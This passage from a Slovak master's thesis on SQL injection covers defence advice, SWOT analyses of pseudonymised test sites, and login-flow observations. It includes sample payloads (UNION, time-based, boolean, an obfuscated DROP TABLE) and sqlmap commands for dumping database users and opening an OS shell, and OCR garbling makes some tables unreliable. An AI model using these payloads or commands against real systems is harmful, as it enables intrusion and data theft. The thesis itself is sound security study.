Tento krok nam vyrazne ul'ah¢i vyber nastroja.
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1.8 Obrana proti SQL injection

Kazdy vstup od uzivatel'a predstavuje pre aplikaciu potencionalne nebezpecie. Preto by
sme mali brat’ na vedomie fakt, ze ak vkladame premenné do SQL dotazu, tak sa
vystavujeme bezpeCnostnému riziku. Aby sme mali dobre zabezpeCenu obranu, tak je
dolezité mat’ na pamaiti, ze SQLi je rizikova vSade tam, kde tvorca webovej aplikacie
zabudol na bezpecnostné pravidlo, kt. znie nasledovne : , vSetky vstupy do aplikacie je
nutné kontrolovat na povolené hodnoty a typy.“ Pre bezpeCnost sa musia odstranit
potencialne prvky Skodlivého kodu, ako su jednoduché uvodzovky. Ako k potencionalne
rizikovym cCastiam aplikéacie by sa malo pristupovat’ ku vSetkym, kde je akykol'vek vstup
z vonka. Ked’ sa chceme branit’ proti SQL injection utoku, tak je potrebné aby sme si
vedeli overit’ bezpecnost’ webovej aplikacie, ¢o urobime nasledovne. Zacneme sa hrat’ so
vstupmi do aplikacie u ktorej si chceme overit’ bezpeCnost. Pre rucny test na SQLi sluzi
ako dolezita pomocka nasledujuci retazec: ' or 1=1 --. Za predpokladu, ze nam takyto
retazec od serveru vrati chybu, tak si m6zeme byt isty, Ze su v aplikacii nejaké neoSetrené

vstupy (15).

Je tiez dobré vypnut viditeI'nost' databazovych chyb na vasich vyrobnych serveroch.
Databazové chyby sa daju pouzit’ s SQLi na ziskanie informacii o vasej databaze. Ak
zistite zranitelI'nost’ aplikacie napriklad pomocou skenovacieho nastroja, pravdepodobne
ju nebudete schopni okamzite opravit. Tato chyba moze byt napriklad v otvorenom
zdrojovom kode. V takychto pripadoch mozete docasne dezinfikovat vstup pomocou
brany firewall webovej aplikacie. Prevencia zranitelnosti SQL Injection nie je
jednoducha. Konkrétne techniky prevencie zavisia od podtypu zranitel'nosti SQLi, od
databazového nastroja SQL a od programovacieho jazyka. Existuju vSak urcité vSeobecné
strategické zasady, ktoré by ste mali dodrziavat, aby ste zaistili bezpecnost svojej

webovej aplikacie:

e Trénujte a udrziavajte informovanost

e Neverte ziadnemu vstupu pouzivatel'a

e Pouzivajte zoznamy povolenych poloziek, nie zoznamy zakazanych poloziek
e Prijat najnovsie technologie / aktualizovat

e Zamestnavat overené¢ mechanizmy

e Pravidelne skenovat webovu aplikaciu prostrednictvom nastroja (21)
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1.9 SWOT analyza

Tato metdda nam prostrednictvom analyzy umoziuje najst’ v procese silné a slabé stranky
a rovnako aj prilezitosti a hrozby. V ramci analyzy su mapované interné procesy, medzi
ktoré zarad’ujeme silné a slabé stranky procesu, a externé procesy, pod ktoré spadaju
prilezitosti a hrozby. SWOT analyza je mnoho funkcionalny nastroj, ktory sa da vyuzivat
napr. pre pripravu dielCieho inovacného projektu, pre pripravu taktiky vitazstva vo
vyberovom riadeni. Analyzu ma zmysel realizovat hlavne v pripadoch, kedy chceme
nieco pozitivne zmenit, ked h'adame nové spdsoby, o a akym spdsobom robit’ lepSie.
Je kl'iCové nepodceriovat’ ur¢ovanie jednotlivych prvkov do koléniek S,W,0 a T. Pri
tomto urCovani moézu byt vel'mi napomocné rozne dopliiujice otazky, ktoré su do istej

miery vel'mi unikatne pre jednotlivé situacie (13, 14).

SWOT

Y Y

analyza analyza
h " ~

I I
! ! v JE

S W ‘ 0 ‘ | T

Interna ‘ Externa ‘

Silné stranky Slabé stranky Prilezitosti Hrozby

Obr. 13: SWOT analyza a jej rozdelenie na jednotlivé prvky (13).
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2 ANALYTICKA CAST

Tato kapitola diplomovej je venovana charakteristike sucCasného stavu prostredia, na
ktorom su realizované testy v praktickej Casti. podstaty SQL injection utoku a jeho
priebehu, konkrétnym metdédam s praktickymi prikladmi, SQL skenerom a nastrojom,

ktoré budu vyuzité ako pomocny instrument pri analyze vybranych webou.

2.1 Predstavenie testovacieho prostredia

Subjektami diplomovej prace budi 2 normalne fungujice anonymizované webové
aplikacie, 1 webova stranka vytvorena vo WordPresse pre ucely testovania a 1 aplikacia,
kt. vytvorili eticky hackeri za edukaénymi ucelmi, ktord bude hostovand na mojom

druhom notebooku.

2.1.1 Webové aplikacie urcené pre ucenie sa a testovanie etického hackingu
Pokial’ si chcem vyskuSat nadobudnuté vedomosti ohl'adom SQLi metdd a nastrojov
s ktorymi sme sa oboznamili vysSie v sulade so zdkonom, tak mame k dispozicii hned’
niekol’ko moznosti. Mozeme svoje sluzby ponuknut’ spolo¢nosti, tak ako som to urobila
ja alebo vyuzijeme jednu z webovych aplikacii, ktora bola vytvorena presne pre tieto
ucely. V tabulke Cislo 1 porovnavam jednotlivé webové aplikacie, ktoré boli vytvorené
pre ucely testovania etickym hackermi, nadSencami pre bezpecnost a celkovo l'udi, kt. sa
chcu v tejto oblasti zdokonal'ovat. Konkrétne porovnavam moznosti, ktoré jednotlivé
aplikacie ponukaju skrz testovanie, to pre aku uroveri schopnosti su odporucané
a v neposlednom rade to, Ci je v aplikacii mozné testovat SQLi utok, o je pre moje
testovanie primarnou podmienkou. Na zéklade tychto vSetkych podmienok si jednu

z tychto aplikacii vyberiem ako testovaci subjekt D.
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Tab. 1: Porovnavanie webovych aplikacii pre ucely etického hackingu (vlastné).

Téato aplikicia ndm pomika na testovanie nasledujuce : XSS, studenta, nadsenca pre
bWAPP XST,CSRF Man-in-the-middle attacks,SSRF.DoS utok, SQLi, bezpetnost. develo r::ra
HTML, iFrame, SSI, OS Command, PHP, XML, XPath, LDAP, » e sionila pera.
Host Header and SMTP injections. P
. . . e kohokol'vek od
Aplikdcia nAm v ramci testovania ponuka :Realistické misie, . prf,: ,0 ? ve . M
. s o X .. o . | zaciato¢nika azpo nickoho s
HackThisSite Aplika¢né misie, Telefonne misie, Forenzné misie, Programovacie " s .
. rozsirencj$imi schopnostami
misie. .
hackingu
Téato aplikicia ndm pomika na testovanie nasledujuce : XSS, e zatiatocnikov. ktory ched
Google Gruyere XRF,Vzdialené spustenie kodu, DoS utok, Zverejtiovanie P N v .
. o zlepsit’ svoje zrucnosti
informacii.
Mobilni aplikicia ndAm v ramci testovania ponuka : Phishing, . o
L - . . nadsenca pre bezpeCnost’ v
Detekcia uteku z vizenia, Debugging, Dotykové / Face ID bypass, X
DVIA N . , , mobile, developera,
Unik udajov z postranného kandla, Zlomend kryptografia, rofesiondla
ZabezpeCenie sietovej vrstvy, Oprava aplikicie. P
ST L . i . s pre kohokol'vek od
Aplikdcia nAm v ramci testovania ponuka : Hackovanie aplikicii, Jadiatocnika a% po nickoho s
Hellbound Hackers Zéakladné webové hackovanie, Hacking v skripte Javascript, o s P -
Problémy so zakorenenim, Problémy s testovanim perom rozgirencjSimi schopnostami
hackingu
- L e . . pre Studenta, nadSenca pre
. Aplikicia bsaluje viac ako 40 zranitel'nosti a obsahuje k tomu aj N
’ 1
OWASP Mutilidae It vel'ké mnozstvo zranitelmosti OWASP Top 10. bezpecnost: developera,
profesiondla
: <14 . A kohokol'vek od
Obsahuje vySe 60 tirovni hackerstva a ¢lanky, ktoré pokryvaji . prf,: ,0 ? ve . M
9 . e , (oo h zaCiato¢nika az po niekoho s
Defend the Web vSetky oblasti bezpecnosti vratane tych, ktoré su na urovni o s Y
. . . rozsirencj$imi schopnostami
konkrétne obsiahnuté. .
hackingu
T4 likicia i Send a plnd besm ch chy )
ato aplikacia Jevvy'solm Irlf,tzab'ezpecena Va p'nabeznyc cvhyb zo pre kohokol'vek od
strany servera, ¢o jurobi idedlnou na ucenie sa o bezpecnosti PV .
o . .y L , . o . zaCiato¢nika az po niekoho s
‘WebGoat aplikacii a precviCovani zruénosti. Hlavné zo zraniteI'nych miest a o s -
. . e L rozsirencj$imi schopnostami
utokov kt. ndm tato aplikdcie umoznuje skiimat’ sii: Otrava cache, hackin
SQLi, utoky tréjskych koni, spyware, kddovanie Unicode e
Je to skveld platforma na bezpecnostné testovanie a rozvoj Nieje urc¢end pre
Root Me hackerskych schopnosti. Royne subjektz testovania, kt. pokryva zaCiato¢nikov, ale pre
Root Me: Digitalne vzsetrovanie, Automatizicia, Rozlomenie vsetkych na vyssej tirovni
Sifrovania, Cracking, Sietové vyzvy a SQLI. hackingu
pre kohokol'vek od
OverThe Wire Je idedlnym miestom pre zabavu a uCenie sa hackingu na réynzch | zaciato¢nika azpo niekoho s
v urovniach schopnosti. Kazda uroveti obsahuje $pecifické scendr. | rozsirenej$imi schopnostami
hackingu

Podl'a analyzy moznosti, ktoré jednotlivé aplikacie pre testovanie Utokov ponukaju mi
ako vhodné pre ucely realizacie SQLi utokov vysli tieto 3: bWAPP, WebGoat, Root Me.
Vzhl'adom k tomu, Ze Root Me je urené iba pre vyssie urovne hackingu, tak ju nebudem
vo svojom testovani pouzivat. Vzhl'adom k tomu, ze bWAPP pouziva MySQL databazu

,moze byt hostovana na Linuxe aj Windowse tak z moznosti, ktoré mi ostali vychadza
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ako najidealnejSia varianta pre moje testovanie. Z vysSie zmienenych dovodov uréujem

bWAPP ako testovaci Subjekt D.

Tab. 2: Subjekty diplomovej prace (vlastné).

Subjekt A Acuretix testovy web naprogramovana nie
Subjekt B Je webova stranka zakladnej $koly. prenajata od Wordpress ano
Subjekt C Socidlna siet’ naprogramovana ano

Webova aplikacia, ktora vytvorili eticky hackeri za
Subjekt D tigelom edukécie a etického testovania Grovne bWAPP nie
hackingu

Hlavnym poslanim subjektov prace je sprostredkovanie rozmanitého prostredia na ucely
etického testovania SQL1 utoku, vd’aka ¢omu posudim efektivnost roznych SQLi metod

v spojitosti s roznym prostredim a zabezpecenim webovych aplikacii.

2.1.2 Nastavenie prostredia pred penetra¢nym testovanim
V ramci penetracného testovania budu nakonfigurované dve rdzne prostredia, prvé
s Windows 10 a druhé s Kali Linuxom. Zmyslom tejto Casti je si vytvorit’ taky zakladovy

systém o kt. sa viem, ze bude v testoch konzistentny.

Predtym ako sa zacCne prevadzkovat virtualny stroj a inStalovat’ nan nastroje potrebné
k penetraénym testom, tak je dolezité sa presvedcit, ze je k dispozicii taky pocitac, kt.

zvladne vSetko potrebné.

2.1.2.1 Zakladné poziadavky na hardware

Nez sa zapo¢ne nakonfigurovanie vybraného prostredia, respektive prostredi, tak je
potrebné overit’ & zariadenie, kt. je planované pouzivat' na tieto G&ely spifia minimalne
odporacané poziadavky hardwaru a softwaru. Moze sa zdat’, ze tieto poziadavky su
trochu prehnané, ale malo by sa brat na vedomie, ze sa bude spustat’ viac virtualnych
strojov, kt. jednoducho vyzaduju lepsi hardware. V nasledujucej Casti prebehne inventira

HW, ktory je na toto testovanie k dispozicii.
Minimalne odporuc¢ané poziadavky na hardware notebooku z ktorého bude

realizované testovanie:

e Notebook s asponn 8 GB RAM
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e 500 GB priestoru na pevnej jednotke, idealny je pre tuto pracu SSD

e Procesor i7 Intel Quad Core

o  WMware Workstations/Fusion/Player/Virtual Box (9)

HW ktorym mam k dispozicii:

Tab. 3: §pecifik;icie serveru pre subjekt D (vlastné).

HW serveru pre Subjekt D

Model Lenovo Thinkpad E520
Procesor Core i5

RAM 16,00 GB

Graficka karta interna Intel HD Graphics 2000

Graficka karta externa

AMD Radeon HD 6630 M 2GB vlastnej paméte

Disk

SSD 500 GB

Operacény systém

Windows 10 PRO

Tab. 4: gpecifik;icie testovacej stanice (vlastné).

HW notebooku z ktorého bude prebiehat’ testovanie

Model ASUS Zenbook PRO UX550VD
Procesor Intel Core i17-770HQ

RAM 8,00 GB

Graficka karta interna Intel HD Graphics 630

Graficka karta externa

NVIDIA GeForce GTX 1050 Ti

Disk

SSD 500 GB

Operacény systém

Windows 10 PRO

Vistual Box OS

Kali Linux
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2.2 SWOT analyza testovacich Subjektov

Nasledujuca cast’ diplomovej prace je venovanda SWOT analyze testovacim subjektom,
ktora pozostava z ich silnych, slabych stranok, prilezitosti a hrozieb z pohl'adu webovych
aplikécii.

2.2.1 SWOT analyza subjektu B

V tejto podkapitole je rozobrana SWOT analyza webovych stranok zakladnej skoly, kt.

bola vytvorend vo WordPresse. Tieto webové stranky su v praci zdovodu

pseudonymizacie oznacované ako testovaci Subjekt B.

Cena stranok

. = Rychlost stranok
» Prehladnost « Fadnost
« Jednoduchost « Nejednotny systém
» Funkénost » Zastaralost stranok
« Casova nendroénost « Nedostatocné rieSenie
na tvorbu ICT bezpecnosti
.-"--.-.. B
0O L e T
» Modernizacia stranok » JniZenie zaujmu
za ucelom nalakania Studentov o Skolu S
novych Studentov « Unik citlivych dat
= Roz5irenie stranok o = Vwmazanie daleZitych
bezpetnostné prvky dat atocnikom
= Spolupraca s vwsokymi = Prepis dat utocnikom
Skolami « LepSia droven stranok
« Eurofondy konkurencie

Obr. 14: SWOT analyza Subjektu A (vlastné).
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2.2.2 SWOT analyza subjektu C
V tejto podkapitole je rozobrana SWOT analyza webovych stranok spolocnosti , ktora
sprostredkava socialnu siet’. Tieto webové stranky su v praci z dévodu pseudonymizacie

oznacované ako testovaci Subjekt C.

» Rychlost » Cena stranok

+ Prehladnost « Casova narocnost na

« Jednoduchost tvorbu

» Funkénost » Medostatocne rieSenie

« Esteticnost ICT bezpecnosti

« Diery v systéme
' r,.f" -
0O « Ziskanie grantov a s T

: dotacii z Evrdpskej nie B AN

konkurenciou R
Unik citlivych dat
Vymazanie doleZitych
dat atocnikom

Prepis dat utocnikom
LepSia aroven stranok
konkurencie

« RozSirenie stranok o
bezpecnostné prvky

» Zkvalitnenie sluzieb

« Investicia do reklami

» RozZirenie povedomia o
bezpecnostiu
zamestnancov

Obr. 15: SWOT analyza testovacieho Subjektu B (vlastné).
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2.3 SQL injection
2.3.1 Prakticka ukazka SQLi metod

Cielom tejto podkapitoly je prezentacia SQLi tto¢nych metod na praktickych ukazkach,

vd'aka ktorym uvidime ako funguju.

Tab. 5: Prakticka ukazka SQL injection metéd (vlastné).

Priame SQLi metody

Union dotaz

Utoénik vloZi dotaz s originalnym SQL
dotazom za pouzitia union
kldéovych slov.

root” union all select number from cards --

Dotaz vrati zaznamy z tabulky users, zaznamy z tabulky
cards. Operator UNION je vhodné pouzit s kii¢ovym
slovom all, pretoze bez neho databdza vrati DISTINCT (
rozdielne zaznamy)

SQLi na zaklade chyby

Utognik zlomyselne infikuje vstup v
dotaze aby vytvoril nejaké logické
chyby za Ucelom ziskania informacii.

SELECT*FROM tbl1 GROUP BY FLOOR (rand() *2) having
min(0);

SELECT*FROM x GROUP BY CONCAT_WS('~,version
(),FLOOR (rand(0)*2)) having min(0);

Koment na konci riadka

Utoénik poufije polovicu vstupu a
prida -- na koniec jeho pola, vdaka
¢omu je zvysok informacii vnimany

ako komentar.

SELECT * FROM articles WHERE UNION SELECT * FROM
TABLE user;--

root’; SELECT usename as email FROM pg_user --
root’; SELECT column_name as email FROM

information_schema.columnsWHERE table_name =

Vlozené komentare

Pri Gtoku moéZu sldzit na
odkomentovanie ¢asti dotazu ako
klasické komentare. Tieto vloZzené

komentare sa v jazyku SQL
uzatvéraju do retazcov.

D/**/ROP TA/*xx*/BLE use/*xx*/rs
Ukdzka vyssie maskuje dotaz DROP TABLE users
SELECT /*132300 1/0, */ 1 FROM users

Ukdazka vyssie vrati chybu ak je verzia SQL serveru vyssia
ako 3.23.02.

Slepé SQLi metody

SQLi zaloZzena na case

Uto¢nik zbiera informécie na zaklade
pozorovania ¢asovej stopy odpovede
databazy.

SELECT*FROM products WHERE id=1-SLEEP(20)
SELECT*FROM products WHERE id=1-
BENCHMARK(100000000, rand())

SELECT * FROM products WHERE id=1; WAIT FOR

DELAY '00:00:20'
SELECT * FROM products WHERE id=1; IF

SYSTEM_USER="'ba' WAIT FOR DELAY '00:00:20'

SQLi zaloZena na boolean

Utoénik posle databéze pravdivu
alebo nepravdivu otazku a urci
odpoved' na zaklade spatnejvazby
aplikacie aby videl ¢i db server
odpovie rovnako akoby tomu bolo za
normalnych okolnosti.

SELECT*from table_name WHERE id=1" AND 1=0
SELECT*from table_name WHERE id=1

SELECT *from table_name WHERE id=1' AND
(length(database())) = 8
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2.3.2 Statistika najéastejSich SQLi utokov
Tato Statistika mi pomdze pri vybere SQLi utokov na ktoré sa mam najviac zamerat
vramci testovania aaj pri prioritizacii sposobov obrany proti jednotlivym SQLi

metddam.

Statistika najcastejsich SQLi utokov za
mesiac

B Pokus o ziskanie hesla

634566; 22%

M Sondovanie

1226955; 42%
125365; 4% m Sondovanie skenera na hladanie

76155; 3% slabin (Whitehat)

Pous o zistenie verzie databazy

M Sondovanie na slepo - testovanie
odozvy v odpovedi

848096; 29%

Obr. 16: Graf SQLi incidentov za mesiac (vlastné).

Ako moézeme vidiet’ na obr. 11, tak je vel'mi znepokojujuce v akom pomere su eticky
hackeri 3% v porovnani s neetickymi 97%. Z gratu vidim, ze az 42% utokov zo
sledovaného obdobia spada pod SQLi utoky na slepo, konkrétne SQLi zalozenom na
odozvy odpovede, v ramci prace mam tato metddu pomenovanu ako ,,.SQLi zalozené na

Case”.
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2.3.3 Proces prihlasenia uzivatel’a na Subjekt A

Zaciatok

Uzivatel zada logina |

heslo

U prihlasovacie tidaj
spravne?

Ano, autorizacia prebehla ispesne

Y

UzZivatel sa Uspesne
prihlasil do systému

Koniec

Nie, autorizacia neprebehl

—

Obr. 17: Proces prihlasenia uzivatel’a na Subjekt A (vlastné).
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2.3.4 Proces prihlasenia uzivatel’a na Subjekt B

Uzivatel —_—

Navsteva webovej stranky
Server vypise chybnu Vypisat prihlasovaci
e — 5
hlasku formular

-~

i
‘,AP/rthasovaci formular je zaslany
\ serveru na overenie -

4

Autorizacia neprebehla tispesne

Autorizacia prebehla uspesne

Y

AR

/ \
“Prihlasenie prebehlo ispene >
\\ pr P! - 4

N 5 /

Obr. 18: Proces prihlasenia uzivatel’a do testovacieho Subjektu B (vlastné).
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2.3.5 Proces prihlasenia uzivatel’a na Subjekt C

z
p s
-

Usivater Usivatel sa chee prihlésif\
—_—» s >
\\ do Gétu -

-
-

Uzwatel viastni aéet

ZaloZit' Géet
UZivatel neviastni ifet—» —
Semver l
Zadat Gdaje do
registraéného

UZivatel vlastnl et formulara
) 4 l
Semver vypise chybnu Vypisat prinlasovaci
hlagku > formular - i
ObdrZanie

overovacieho e-mailu

s
- oy l
- ™,

Potvrdit overenie
rozkdiknutim linku

~Prihlasovaci formular je™
~._ zaslanj na overenie -

. -
UZivatel sa pokiZa prihlasit menej neZ 4. raz . e
"
A S
o~ S
XOR <_ Overenie &isla pokusu >
", “ y "
- -
\\— "
A
XOR Autorizacia prebehla dspesne___

UZivatel' sa pokisa prihlasit 4. raz

Autorizacia neprebehla aspesne

¥
T ¥
Zamknut Géet na 30
mintt. I E— Server Prihlasenie do Gitu
Semver E—
Upozornit' uZivatela
p ‘- Server
¥
yd . Ve .
/ ., - ",
p . p
<E'rih|é|senie nebolo ﬂspeénf@ <_Prihlasenie bolo Uspesné >
\\\ /’ \\\ /’
- \ s

SN

Obr. 19: Proces prihlisenia uzivatel’a na Subjekt C (vlastné).
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Subjekty testovania

Subjekt A

Subjekt B

Subjekt C

Nizov procesu

Prihlasenie uzivatel'a do systému

Prihlasenie uwzivatela do systému

Prihlasenie uwzivatela do systénu

Ciel’ procesu Prihlasenie uzivatel'a do systému Prihlasenie uwzivatela do systému Prihlasenie uwzivatela do systénu
'Vstup procesu Vyplneny prihlasovaci formular Vyplneny prihlasovaci formular Vyplneny prihlasovaci formular
Vystup procesu Uspesné alebo netispesné prihlasenie sa do systému Uspesné alebo netispesné prihlasenie sa do systému Uspesné alebo netispesné prihlasenie sa do systému
Podrl'a Gispesnosti autorizicie, ktord je overovana na ziklade Podl'a uspesnosti autorizicie, ktord je overovand na ziklade Podl'a Gspesnosti autorizicie, ktord je overovana na ziklade
Specifikicia procesu| prihlasovacieho formulara je uZivatel'ovi umoznené alebo prihlasovacieho formuléra je wzivatel'ovi umoznené alebo prihlasovacieho formuléra je uzivatelovi umoZnené alebo
zamietnute prihldsenie sa do svstému zamietnute prihldsenie sa do svstému zamietnute prihldsenie sa do svstému
Vlastnik procesu Server Server Server
Role Server, uwzivatel Server, uzivatel Server, uzivatel’
Zakaznik procesu Uzivatel’ s vytvorenym actom, utocnik Uzivatel’ s vytvorenym uctom, utocnik Uzivatel’ s vytvorenym ac¢tom, utocnik
Podmienky Vytvoreny uzivatel'sky ucet Vytvoreny wzivatel'sky Gcet Vytvoreny wzivatel'sky Gcet
Metriky _ _ _
Informacné systémy
Software Webova stranka, Databaza Webova stranka, Datab4za Webov4 stranka, Databiza
Dokumenty Prihlasovaci fromular, Registracny formuldr, Overovaci e-mail | Prihlasovaci fromuldr, Registra¢ny formuldr, Overovaci e-mail | Prihlasovaci fromuldr, Registracny formular, Overovaci e-mail

9 "qel,
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2.3.6 Komentar k procesu prihlasovania sa na jednotlivé stranky
V tejto Casti budu zhrnuté vysledky pozorovania ku ktorym som dospela v ramci pokusov

prihlasovania sa na jednotlivé webové aplikacie.

2.3.6.1 Komentar k prihlasovaniu sa na Subjekt A
Po navsteve webovych stranok testovaného subjektu bolo realizovanych niekolko
pokusov a prihlasenie sa do uzivatel'ského uctu. Z tychto pokusov bol vypozorovany

priebeh prihlasovania sa, ktory vypadal nasledovne:

e Zadanie loginu a hesla

e Overenie autorizacie: ,,Su prihlasovacie udaje spravne?*

e Pokial' ziaden z prihlasovacich udajov nebol spravny, tak server vypisal toto
chybné hlasenie: “Prihlasenie zlyhalo®

e Ak bolo spravne aspoti uzivatel'ské meno, tak server vypisal nasledovnu hlasku:
,,Prihlasenie je chybné.“

e Pri pokuse, kde boli spravne vsSetky prihlasovacie udaje prebehla autorizacia
uspesne.

e Uzivatelovi sa podarilo prihlasit’ do systému.

2.3.6.2 Komentar k prihlasovaniu sa na Subjekt B
Po navsteve webovych stranok testovaného subjektu bolo realizovanych niekolko
pokusov a prihlasenie sa do uzivatel'ského uctu. Z tychto pokusov bol vypozorovany

priebeh prihlasovania sa, ktory vypadal nasledovne:

e Zadanie loginu a hesla

e Overenie autorizacie: ,,Su prihlasovacie udaje spravne?*

e Pokial’ akykol'vek udaj nebol spravny, tak server vypisal chybné hlasenie.

e Nasledne bol uzivatel’ vrateny k d’alSiemu pokusu vypisat’ prihlasovaci formular,
¢o sa opakovalo do momentu kym neboli vSetky udaje vypisané spravne.

e Pri pokuse, kde boli spravne vsSetky prihlasovacie udaje prebehla autorizacia
uspesne.

e Uzivatelovi sa podarilo prihlasit’ do systému.

43



2.3.6.3 Komentar k prihlasovaniu sa na Subjekt C
Po navsteve webovych stranok testovaného subjektu bolo realizovanych niekol'ko
pokusov a prihlasenie sa do uzivatel'ského uctu. Z tychto pokusov bol vypozorovany

priebeh prihlasovania sa, ktory vypadal nasledovne:

e Zadanie loginu a hesla

e Overenie autorizacie: ,,Su prihlasovacie udaje spravne?*

e Pokial akykol'vek udaj nebol spravny, tak autorizacia neprebehla tispesne a server
vypisal tuto chybnu hlasku: “Vypada to tak, ze tvoje uzivatel'ské meno alebo heslo
je nespravne, skas to znovu.

e Server overil Cislo pokusu prihlasenia, pokial sa uzivatel snazil neuspeSne
prihlasit menej ako 4 razy, tak ho to vratilo na prihlasovaci formular.

e Ak sa uzivatel pokusal neuspesne prihlasit’ viac ako 3 razy, tak pred pristupom
do formulara mu dal server vyplnit’ captcha aby overil, ¢i sa snazi prihlasit’ clovek.

e Pri pokuse, kde boli spravne vsSetky prihlasovacie udaje prebehla autorizacia
uspesne.

e Uzivatelovi sa podarilo prihlésit’ do systému.

V ramci jednotlivych pokusov sa mi okrem procesu prihlasovania podarila vypozorovat’
este jedna vec. Pokial sa podarilo ndhodne zvolené uzivatel'ské meno trafit’ spravne pocas
toho €o autorizacia neprebehla uspesne a zarover tento uzivatel nebol prihlaseny 6 a viac
mesiacov, tak server vypisal nasledovni chybnu hlasku: Z bezpecnostnych dovodov
ziadame T'udi, ktori nepristupili k svojmu uctu 6 a viac mesiacov, aby sa bud’ prihlasili
pomocou prezyvky a hesla, alebo aby resetovali svoje heslo, aby sa mohli prihlasit
pomocou svojho e-mailu a hesla. Tato chybna hlaska poskytuje informaciu o tom, ze

nahodne zvolené uzivatel'ské meno je spravne.
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2.4 Predstavenie a analyza vybranych nastrojov na skenovanie webu

V ramci tejto Casti buda predstavené a strucne rozanalyzované nasledujice nastroje a na

zéaklade analyzy potom budu vybrané tie, kt. pouzijem v praktickej Casti.

e Sqglmap
e Sqglninja

2.4.1 SQLmap (Kali Linux)

Sqlmap budem vo svojej praci vyuzivat primarne na zbieranie citlivych dat z databazy
ako napriklad: uzivatel'ské meno, heslo, e-mail, adresa a pod. Tento néstroj je k dispozicii
na operacnom systéme Kali Linux. Prostrednictvom tohto nastroja sa budem pokusat
najst SQL1, manipulovat’ s databazou skrz SQL dotazy alebo urobit’ jej dump. S vyuzitim
injekcie dokaze ziskat interaktivny shell, alebo dokonca poskytnut' Virtual Network

Computing relaciu naspat’ k utoCnikovi, v tomto pripade mne (2).

V nasledujucich prikladoch tykajacich sa SQLmap ukazujem parametre GET a POST,
pretoze su to najbeznejsie typy SQLi a z toho dévodu ich pouzivam aj v praktickej Casti.
Oba zmienované¢ HTTP utoky ukazuju ako vel'mi zalezi na spravnej konfiguracii

poziadavku ( ak by nebol spravne nakonfigurovany, tak sa utok pravdepodobne nezdari)

(2).
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n sarah@kali: /

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
i Skip testing for given parameter(s)
Skip testing parameters that not appear to be dynamic
Regexp to exclude parameters from testing (e
Select testable parameter(s) by place (e.g. "POST")
Force back-end DBMS to provided value
DBMS authentication credentials (user:password)
Force back-end DBMS operating system to provided value
invalid-bignum Use big numbers for invalidating values
nvalid-logical Use logical operations for invalidating values
invalid-string Use random strings for invalidating values
no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
1 Injection payload prefix string
Injection payload suffix str
Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
i Risk of tests to perform (1-3, default 1)

String to match when query is evaluated to True

String to match when query is evaluated to False

Regexp to match when query is evaluated to True

HTTP code to match when query is evaluated to True

Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TEC SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)

union-cols=UCOLS Range of columns to test for UNION query SOL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFRI Table to use in FROM part of UNION query SOL injection

i Domain name used for DNS exfiltration attack
Resulting page URL searched for second-order response

--second-req=SEC.. Load second-order HTTP request from file

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

Obr. 20: SQLmap (16).

Priklad na parameter GET- V ramci tohto prikladu sa predpoklada, ze parameter GET
je prave to miesto, kde je s URL spojena zraniteI'nost’ SQL1. Ciel'om je otestovat’ vSetky
parametre a utvrdit sa vtom, ze je najdend zranitelnost SQLi skuto¢nad a vyvratit
moznost’, ze by sa jednalo o falo$né poplachy, kt. autor videl u skenovacich nastrojov,
z ¢coho prichadza k zaveru, ze jedina metoda ako zarucit, ze sa skutoCne jedna

o pouzitel'ny nalez, je validacia (2).

-V prvom kroku zistime ¢i je SQL injekcia platna ( pokial ano, tak vysledkom
bude uvitacie hlasenie ):

sqlmap —u ,,http://.com/info.php?user =test&pass=test™ -b

-V druhom kroku budeme ziskavat databazové uzivatel'ské meno:
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sqlmap —u ,http://site.com/info.php?user =test&pass=test* -- current-user

-V d’alSom kroku si napiSeme prikaz na ziskanie interaktivneho shell:

sqlmap —u ,http://site.com/info.php?user =test&pass=test --os-shell

- Niekolko typov a trikov od autora, ktoré budem aplikovat' v praktickej Casti:

o Pokial nastane situacia, kedy bude potrebné Specifikovat’ to, na aky typ
databaze sa ma zautocit’ a pokial usudzujeme, ze ma injekcia Sancu, ale
SQLmap ni¢ nenasiel, tak je odporacané nastavit’ prepinac:

--dbms= [ typ databazy].

o Autor spomina, ze pokial’ potrebujeme nejaky nalez autentizovanej SQL
injekcie, tak sa mame prihlasit’ do webu prostrednictvom webového
prehliadaca a vziat’ cookie ( je mozné ho odobrat’ priamo z nastroja
Burp). Definicia cookie za pomoci prepinaca -- data= [ COOKIE].

o Zapredpokladu, ze si stale nevieme rady, tak je tu eSte mozné skusit

prikaz: sqlmap —wizard (2).

Priklad na parameter POST - tento parameter je vel'mi podobny parametru GET, ich
hlavny rozdiel tkvie v tom, ze ako sa bude predavat zranitelny parameter. Nebude sa
nachadzat' v URL, ako tomu bolo v predchadzajucom priklade a to z toho dovodu, ze
parametre POST sa predavaju v datovej sekcii. Toto je mozné uplne bezne vidiet
u predavania uzivatel'skych mien a hesiel a to preto, lebo webové servery obvykle loguju

parametre GET a my nechceme, aby server zaznamenal tieto tidaje do logu.

-V prvom kroku zistime ¢i je SQL injekcia platna ( pokial’ ano, tak vysledkom

bude uvitacie hlasenie ):

sqlmap — u , http://site.com/info.php* --data= ,,user=test&pass=test -b

Obr. 21: Platnost’ SQLi (2).
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-V druhom kroku budeme ziskavat databazové uzivatel'ské meno:

sqlmap — u ,.http://site.com/info.php* --data= ,,user=test&pass=test*

-- current-user

Obr. 22: Ziskanie databazového uzivatel’ského mena (2).

-V d’alSom kroku si napiSeme prikaz na ziskanie interaktivneho shell:

n sqlmap u ,http://site.com/info.php* --data= ,,user=test&pass=test*

--os-shell

Obr. 23: Prikaz na ziskavanie interaktivneho shellu (2).

ido you want to retrieve the command standard output? [Y/n/a)

Obr. 24: Priklad na spustenie prikazu ipconfig (2).

Za predpokladu, ze sa nam v poslednom kroku podari ziskat pristup k nejakému shellu
